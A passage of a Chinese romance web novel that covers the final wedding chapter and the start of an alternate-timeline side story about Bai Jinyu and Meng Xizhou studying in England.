这少年就是徐克行了,看他今天的打扮,很是有模有样地穿了一身西服,连头发都打理过,梳的一丝不苟,瞧着和平时很是两样。他是一众学生里唯一受到白瑾璎邀请的人,为这一份特别的殊荣,别提他有多欢欣了。 再说他爹徐百富,哪儿还会拦着他不让来。据他打听到的消息,自己的儿子因为升学考试中洋文考得格外出色的缘故,已经被一所专攻外文的大学给录取了,只是还没到公布名单的时候罢了。 这可是大学呀!他徐家竟也出了个大学生了!当下激动万分,不要说反对了,连儿子参加婚礼的西服皮鞋,都给他一应买全乎了! 余佰也不管他年纪小,一样恭维了他几句,倒把徐克行说得怪不好意思。 闲谈之间,就说到了缪昌平这个名字。只听吴老师道:“你们还不知道吧,我听说缪昌平去外省了,他是哪里人来的?哦,对,回他的老家武汉去了。” 另一位教国文的张老师奇道:“咦?为什么不去上海?洋文最吃香的地方,就数首都和上海了,武汉的教学水平,并不算高呀。” 吴老师“嗐”了一声:“他的风评很坏了。本来教学的成绩也不出色,又在临近升学考试的时候提辞职,哪一所学校敢聘他?何况学校与学校之间,总会互通讯息的,尤其北京和上海,消息传的很快。找不到工作,他只好灰头土脸地跑远一点了。” 话里的意思是很遗憾的,奈何脸上的笑容太过于畅快了,对面的秦校长虽没有发表评论,到底忍不住投来了一眼。 吴老师便自打了圆场道:“好了好了,今天是很欢庆的一天,我应当少说一些‘幸灾乐祸的言论,多说一些祝福的话。啊呀,热菜上来了!那我就食不言,等着和新郎新娘敬酒的时候,再一道说吧!” 于是和桌上的人一道微笑着,起筷吃起来。 正文完结 第91章 第 91 章 彼此的步履这样稳,天上…… 白瑾琪作为婚礼的傧相, 可谓忙得脚不沾地。 在白公馆招待白瑾璎的女同学们,和大家讲话逗趣的是她;礼堂里组织着宾客抛撒彩纸的也是她。不过她为人甜蜜有趣,年纪又小, 客人们倒很愿意捧一捧她, 和她玩闹一下。是以白瑾琪虽然忙碌, 却也是这婚礼上众星捧月一般的角色了。 好不容易开宴了, 白瑾琪坐下吃了一会儿后, 又耐不住爱热闹的性子,看见蒋牧城携了白瑾璎去敬酒,便立刻风一般地卷过去凑趣。 在座的都是做事有分寸的文明人,当然不会做出灌酒这样不得体的事。何况蒋牧城请的两位男傧相, 很有挡酒的自觉, 不要说敬新娘子的酒, 就是敬新郎官的酒,也有一半是由他们代饮的。 喝酒这件事, 根本和白瑾琪不相干, 可架不住她高兴呀! 兴奋的劲头上来了, 就想参与一下。本来也并不想多喝, 端着玻璃酒杯啜饮一口,竟觉得滋味不坏, 料想是蒋牧城连酒都挑选了最好的, 一点也不呛人, 不知不觉就喝多了。 等白瑾璎留意到她的时候, 那一张桃心小脸,已然像真桃子一样红扑扑的了。 白瑾璎吓了一跳,她手上一对镂花的长手套已经摘了,微凉的手心捂着白瑾琪的脸蛋, 笑着说:“我稍稍不看着你一点,你就出状况了。你快坐回去吃一点东西吧,不用老跟着我。” 下一秒,蒋牧城的手在白瑾璎腰间虚虚地一圈,示意她又有人敬酒来了,她也就顾不上这个小妹妹了。 白瑾琪倒也听话,坐回席上吃了两筷子好菜,又喝了碗热汤,混着刚刚喝下肚的洋酒,整个人从胃里暖和起来,更觉得脸上热得发烫了。便和旁边的虞妈打了声招呼,说要去酒店门口吹一吹风。 夜里的春华大饭店真是漂亮,天色昏暗下来,饭店招牌上的彩色电灯便亮起来,照着那金色的旋转门和干净的玻璃窗,都闪着亮光。一进大门,那更了不得了,大堂正中便高挂着一盏巨大的水晶吊灯,将这金碧辉煌的氛围,烘托了十成十。 白瑾琪吹了风,脸上的温度虽降了下来,人却晕乎乎的,站在大堂里对着吊灯出了会儿神,这才踉踉跄跄地往铺了红毯的楼梯走去。 只是人在喝醉的时候,身体是不大听使唤的,刚踩了两级台阶,脚下便绊了一下。就是这时候,身后窜出一个瘦高的人影来,稳稳地将自己扶住了。 白瑾琪后知后觉地发出一声疑问的轻哼,嘴里含糊地道了声谢,扭头就想看看是谁。偏偏酒精往脑子里塞了团棉花似的,分明离得那么近,也没有把眼前的人认出来,还当他是饭店里的听差,心想:如今的听差,倒生得很俊。 这无动于衷的反应在郑家树看来,无疑就令人失意了。 他来春华大饭店,为的是有一个家庭的聚会,并不知道谁包了场在办婚礼,只知道刚一落座,就有听差喜气洋洋地送来一盒朱古力糖。想不到会在这里遇上白瑾琪。 她穿了身浅粉色的小礼服,头发烫了精致的扭丝卷,神态迷茫地望着他时,口中的呼吸带着红酒的香气径直拂到他脸上。郑家树的心都要停了,扶着她的手怎么也不愿意放开。心想:我不能再放她走了,干脆,就带她去见我的父母吧!往后,她愿意如何,结婚也好演戏也好,都可以随她! 一双眼睛炽热地,只管盯着白瑾琪不放。 饶是如此也有人来打扰。一道声音从旁边响起道:“瑾琪,原来你在这儿,难怪到处找不到你!快来,三楼的跳舞场开了,我们正哄着新郎新娘跳一支开场舞哩,这是一定要看的呀!” 原来是白瑾璎一位大学里的女同学下来找人,请这个小妹妹去凑热闹。 郑家树这才留意到白瑾琪的胸口处别着一束小巧的胸花,想到今天春华大饭店只开放一楼,可她却往二楼走,也就知道,她大概是今天这场婚礼的小傧相了。可自己算什么人呢?二楼的婚礼,傧相可以上去,他却不能。 女同学显然也留意到了久久不去的郑家树,且他还扶着白瑾琪的胳膊,便微笑一下把人接过来,小声和白瑾琪确认道:“这人你认识吗?” 白瑾琪瞪着眼睛又看了郑家树一眼,无奈脑子里还是一片空白,摇了摇头说:“我刚才差点跌跤,多亏他扶了我一把,多谢多谢。”随后立刻又兴致高涨起来,问:“蒋二哥和我二姐姐要跳舞了?当真吗?快快快,咱们快去看!” 挽着那女同学的胳膊,径直就欢欢喜喜地去了楼上,把郑家树一个人甩在身后。 不多久,郑家的长辈会完账出来,看见自己儿子呆愣愣地立在通往二楼的台阶上,那身影竟是很落寞的样子,还很奇怪地问:“你站在那里做什么?今天二楼往上,有大人物办结婚仪式哩。嗐,不知道等到你结婚,那是什么时候?” 郑家树并不作答,只是很惨淡地扯了扯嘴角,一步一步地走下来,伸了手道:“妈,我嘴里苦的很,今天拿到的喜糖在哪儿?给我吃一颗吧。” 另一边,白瑾琪赶到三楼的跳舞场时,蒋牧城已经带着白瑾璎跳起了慢三慢四。 白瑾璎把西式的婚纱裙换了,此刻穿了一身红色缎面旗袍,用金线和金珠子做滚边,配套地在盘发上戴了许多金叶子似的头饰。 慢三慢四就如这名字,舞步是很慢的,白瑾璎被蒋牧城搂在怀里,脚步移动之间,旗袍上的暗纹便在微暗的灯光下流转出光彩,漂亮极了。而她靠在蒋牧城肩膀上那张雪白的脸孔,因为喝过一点酒而沁着红晕,更是美得不可方物。 一首曲子跳完,众人爆发出如雷的掌声,白瑾琪也跟着拍个不停。 新郎新娘退场后,就是把场子留给客人们了。春华大饭店三楼的跳舞场也被包下,用作婚礼的场地,可以供宾客娱乐一整晚,点心酒水一应俱全。 白瑾琪鼓完了掌,眯着眼睛窝在沙发椅子里满场地看着。 中央的跳舞池里,不拘年长的年轻的,已有许多人下去跳了。在那些人里,她一眼就看到了白瑾瑜,孟西洲正紧挨着她,微笑着说着什么话,同时伸出一只手向上,做一个邀舞的动作。 她又在跳舞池边的长沙发上看见了新郎新娘。 蒋牧城刚才跳舞的时候分明脚步很稳,一路里都是由他引导着白瑾璎跳的,现在倒好像喝醉了似的,歪着头靠在白瑾璎的肩上,也不知道是真的酒劲上来了,还是故意做出这幅样子来,显示亲近依恋。 白瑾琪突然不想看人了,心想:真好呀,人都是圆满的。于是支着下巴,去看头顶上的灯光。 看着看着,人就迷糊起来,那灯光一会儿是一盏一盏的,一会儿又晕成昏黄的一整片。一下子,很清楚地知道这是跳舞场上的灯光,一下又觉得是在舞台上,一盏盏灯包围着自己。又一下,那些亮光摇动起来,似乎是夜里的渡轮,把自己送去遥远的英国。 白瑾琪就在这一阵美妙的漫想里,舒服地睡着了。 夜,十点钟。 喜宴逐渐接近尾声,随着绑了红绸和花束的喜车载着一对新人去了蒋公馆,春华大饭店门前停了一排的洋车也一辆接一辆地开走了。 剩下白瑾瑜捧着白瑾琪的脸摇晃一阵,没有摇醒,只得好笑地把她塞到车后座里,对虞妈叮嘱道:“劳驾您,回去白公馆给她收拾收拾,再让佣人煮一点醒酒茶给她喝。” 虞妈答应一声,问:“你不和我们一道回去吗?车子坐得下哩。” 白瑾瑜含着笑意和孟西洲对视一眼,说:“我们还有点事商量,大概晚些回来,孟先生在呢,你不必担心我。”在目送虞妈那一辆车开走后,和孟西洲坐进最后一辆洋车里。 入夜了,孟西洲却不见犯困,毋宁说一双眼睛神采奕奕地看着白瑾瑜道:“那么,我们是说好了吗?等到秋天,我们一道送瑾琪出国,把她托给我表姐。趁此机会,你也可以见一见我的表姐和父母。” 白瑾瑜微笑一下,说:“我是担心瑾琪,她一个人留洋,心里大概很慌。”言下之意,对于这样的安排并不反对。 孟西洲的笑容更盛,将她的一只手握在手里,道:“是,这样一个思虑周全的好姐姐,谁能不喜欢?我家里人,也要对你爱若珍宝了。” 白瑾瑜抿着微笑将车窗打开一点,忽然道:“这夜里的空气真好,凉风袭人,好清爽。我们下车,慢慢地走回家吧?” 孟西洲虽然问她:“我们真要靠走的回家去吗?”但在行动上,已经让司机靠路边停下,扶着白瑾瑜从车里出来了。他们就这样挽着手,在昏沉的夜色里走起路来。 只是走了一段,才发现平日里谁都是车进车出,并不认得路的,何况夜里的街道和白天很不一样,这又给辨认方向带来了困难。 孟西洲干脆笑了起来,问她:“我们走去哪里呢?” 白瑾瑜也笑了:“不知道,再往前走一段,看我能不能认出方向来吧。设若离白公馆近,那就回白公馆;设若走到了椿樟街,那正好可以去三十六号;设若走在去你家的路上,在你家里住一晚,那也无妨。” 孟西洲又问:“设若哪一个也不是呢?” 白瑾瑜马上答道:“那就沿路住一晚酒店——”她的话戛然而止,此时此刻,彼此的步履这样稳,天上的星星这样亮,身边人暖和的体温,这样的源源不断。 她到底微笑着,把心里的这句话说了出来:“和你在一起,我并不觉得有分别。” 番外① if线 第92章 番外① if线 白瑾瑜×…… 这世上, 就没有姜晚云攒不了的局。 在英国的华侨圈子里,她实在是个八面玲珑又神通广大的人物,两边一牵线, 就把白瑾瑜和孟西洲撮合到了一起! 孟西洲不必说, 他本来就对白瑾瑜有意, 当然很愿意花费心思。而在白瑾瑜来看呢, 这位孟先生相貌堂堂, 人又绅士礼貌,讲起话来也言之有物,故而首先就不排斥和他交朋友。 两个人里,一方是很积极的姿态, 另一方也表示友好, 这就起了个好头了。再随着交往与谈话的深入, 孟西洲处事果断又沉稳睿智的一面得以展现,这就很值得白瑾瑜为之心动。她自己就能力不俗, 是以多少有些心高气傲, 设若不是比她优秀的先生, 她轻易可看不上哩! 至此, 这郎才女貌的一对,便算是正式携手了。 然而比起两位当事人, 倒是姜晚云更显得得意, 常常以媒人自居, 对于孟西洲酬谢她的一瓶法国香水, 也是喜滋滋地笑纳了。说:“真不错,真不错,你不晓得,表舅母向我打听了好几回你的恋爱问题, 话里话外都有替你着急的意思。如今我把你的事办成了,可不就是家里最能干的人了吗?” 将那昂贵的香水在手腕上喷了两下,卷了一袭香风,快活又神气地走远了。 孟西洲如愿以偿,每每和白瑾瑜在一起时,都有一种掉进蜜糖罐里的难言之感。一面体会着爱情之美好,一面又感慨,从前漫长的岁月,一刻也不曾料想到自己也会有被爱神之网捕获的一日。 因为白瑾瑜还在商学院念书的缘故,不拘是平时上课,还是休息日参加留学生之间的宴会活动,但凡孟西洲有时间,总会陪在她身边。这一对如胶似漆的璧人,也就逐渐成了留学生圈子里的爱情模范。 只是不要忘了,美玉总归遭人垂涎,何况孟西洲还要在造船中心做研学,并不能时时刻刻地守护这一块美玉呢? 柳世新便是其中一个,他对这一位明艳大方的白小姐,老早就抱有好感,可恨被人捷足先登,只能眼看着她和姓孟的出双入对,心里像揣了一锅沸腾的醋似的。只是他生得英俊,也很知道自己英俊的优势,是以并不打算放弃,只等着一个后来居上的机会呢! 而这机会来得也快,就在这周末的留学生交流会,自从一位认识的学姐告诉他只有密斯白一个人会来时,他便铆足了劲地捯饬自己。 时下流行的发蜡要用,却不能多用,凭白显得死板油腻,要在前额落下一点碎发,那才自然。衣服呢,也不能太过花哨或笨重,势必要将自己结实高大的身形,做一个十足的展示。 柳世新的祖父母那一辈有洋人血统,他的父母亲生得普通,想不到洋人的高鼻深目在他身上倒有了体现。若单说样貌,他实在是万里挑一的出彩,向他示好的女同学绝不在少数,只不过人都有比较的心思,和白瑾瑜相比,不论样貌还是家世,那些女同学就差得远了。 凭着一张俊脸,柳世新在留学生中便很有几分名气,加之这一次格外花了心思,甫一入场,便吸引了不少目光。 可惜这里头并没有白瑾瑜,这次孟西洲不在,她多少感到无聊,和相熟的学姐谈了几句后,便找了个偏僻不打眼的位置坐下走神。以至于柳世新用手指敲了敲桌面,她骤然回神看见这一张带笑的俊脸时,真觉得心头一跳,有很深的惊艳之感哩! 柳世新向她从容地一笑,长腿一屈便在对面坐下了,道:“密斯白吗?久仰久仰,你在留学生里是很出名的人物,我早就想要结识一二了。” 白瑾瑜倒不排斥认识新朋友,也就问他:“你好,你先生贵姓呢?我在学校里,似乎并没有见过你。” 她是直白坦荡的性格,说话时也习惯看着对方的眼睛,那双微微上挑的漂亮眼睛黑白分明,因为直直注视的缘故,很有一种锐利的气势,不是心理强大的人,是有点接不住的。 柳世新便下意识地目光闪烁,一面觉得这直勾勾的对视魅力非凡,一面又觉得这目光多少有些逼人,让人无端心虚起来。笑了一下以作遮掩,道:“敝姓柳,柳世新。我念的是工学,和商学院几乎没有一起上的课程,密斯白不认得我也是正常。” 柳世新学得不算好,平时上课也不用功,可女学生念工科的毕竟少数,难道还真会考他的学问不成? 偏偏白瑾瑜受了孟西洲的影响,听到他说工科,反而生出一点兴趣来,问道:“具体念哪一个门类呢?我虽然不学工科,却很有一点兴趣,柳先生能给我讲一讲吗?” 这一下,柳世新的窘态可是很明显了,可对于自己的专业,设若一句话都说不出来,未免太过跌份,于是只能挑拣了最简单的理论囫囵说一些,很快又将话题扭转去了别处。 越是谈得多,一个人的见识观点,乃至表达与逻辑就越是展露于人前。可惜有孟西洲珠玉在前,柳世新便相形见绌了。 白瑾瑜脸上虽挂了微笑,实则已是兴致缺缺,心想,都说人不可貌相,这话真是不错。看着柳世新的目光,反而带上一点可惜。后者却会错了意,觉得白瑾瑜看向自己的目光放柔和了不少,更是说得起劲儿了。 眼看他的话怎么都不停,干草似的几件琐碎事翻来覆去地说,白瑾瑜实在坐不住,看了看手表道:“柳先生,对不住,我赶着要办事,非走不可了。” 柳世新意犹未尽地刚住嘴,见她已站起身来,忙从口袋里掏出一张卡片,借了和白瑾瑜握手的时机塞进她手心里,又凑近了,拿深邃的眼睛望着她道:“密斯白,和你谈话实在让人高兴,请一定联系我。只要你需要,我都愿意奉陪。” 临走前,还不忘冲她意味深长地眨一眨眼。 对于他这一番做派,连白瑾瑜都楞了一下,再看手里的卡片,只见雪白的卡纸上用红线划了边框,右下角另描了一朵玫瑰花的纹样,卡片的正中央,赫然就写着柳世新的名字与电话号码。靠近鼻端嗅一下,还能闻到一股香气哩! 白瑾瑜心里的无趣顿时转变成厌恶,刚想发出一声冷笑,忽而想起从刚才到现在,不知又浪费了多少分钟,当下“哎呀”了一声,随手将名片往口袋里一揣,快步小跑起来。 离开交流会场后,白瑾瑜径直去了平时和孟西洲常去的咖啡馆,打包了一份面包西点,便坐车去了孟西洲所在的公寓。 他们正值热恋,国外风气又是很开化前卫的,没人对男女交往多嘴多舌,是以白瑾瑜手上有孟西洲公寓的钥匙,也就不足为奇了。她自己亦是接受良好,在孟西洲忙不开身的时候,常常带了点心去探望。 白瑾瑜熟门熟路地拿钥匙开了门,轻手轻脚地走到书房门口向里张望一眼。 只见孟西洲正坐在书桌后,桌上铺开了一张线条罗布的大图纸,他人却没有伏案,而是直直地和她四目相对,含了微笑道:“躲什么?我都听见脚步声了。” 白瑾瑜便大大方方地走进来,一面将打包的纸盒放到小桌上拆开,一面说:“我可没有存心要打扰你,都怪皮鞋踩着木地板,脚步放得再轻,总要发出声音来。” 孟西洲想必工作了很久,伸手按揉着鼻梁的两侧,心情却很愉悦的样子,说:“我倒很愿意被你打扰一下,你今天不是有个留学生的聚会吗?现在远不到结束的时候,是专程为我回来的吗?” 他一提交流会,白瑾瑜便又想起来了,将口袋里的卡片撕成两半丢进了废纸篓里,气道:“别提了罢,今天有个姓柳的先生,废话连篇不说,还给了我一张带香气的名片,这是什么意思?哈,他是把我当做朝秦暮楚的人来看呢!真晦气!” 想想觉得不解气,又愤愤然,“他想得美!就是长得再好,我也不会喜欢这样的!” 若是放在平时,白瑾瑜一进门,孟西洲便来迎了,这一次却格外不同,在听见“姓柳的”三个字后,他就像带上了情绪似的,硬是坐在桌子后不动。此刻看向她道:“哦,那你喜欢什么样的?” 白瑾瑜有趣地打量了他一眼,偏偏孟西洲在接触到她的目光后,闹别扭似的将视线移开了。 这就很有意思。 白瑾瑜脚步轻快地绕到他背后,两条雪白的胳膊圈住孟西洲的脖子,笑道:“啊呀,我听明白了,某一位先生是想听人夸奖他呢。让我想想——聪明,有才干,这就不必去说,最要紧的是做事沉稳,很让人觉得可靠。” 想不到孟西洲问:“那我长得呢?” 不知怎么的,白瑾瑜竟想到了那句“吾与徐公孰美”,忍着笑道:“你也长得好,不过你的长相在稳重这一项面前,已经算不上什么啦!” 说着,凑近了就要去偷看孟西洲的表情。 她是从孟西洲的背后探出身子,看不清楚全貌,依稀觉得那嘴角是弯起的,视线一偏,又看见他的耳朵很明显地泛着红色,于是暗笑:“看来我的话,是夸在你心坎上了。” 她正有一点得意,不妨此刻探身的姿势不稳,被孟西洲勾在腰身上一个用力,整个人便坐到了他的腿上。 下一秒,温热的唇吻便雨点似的落了下来,混杂着低沉的男声:“是,你夸到了我心坎上,我也得给你点奖励才好。” 由此可以知道,觊觎美玉者虽然多,可要撬动这块美玉,可是不容易呢。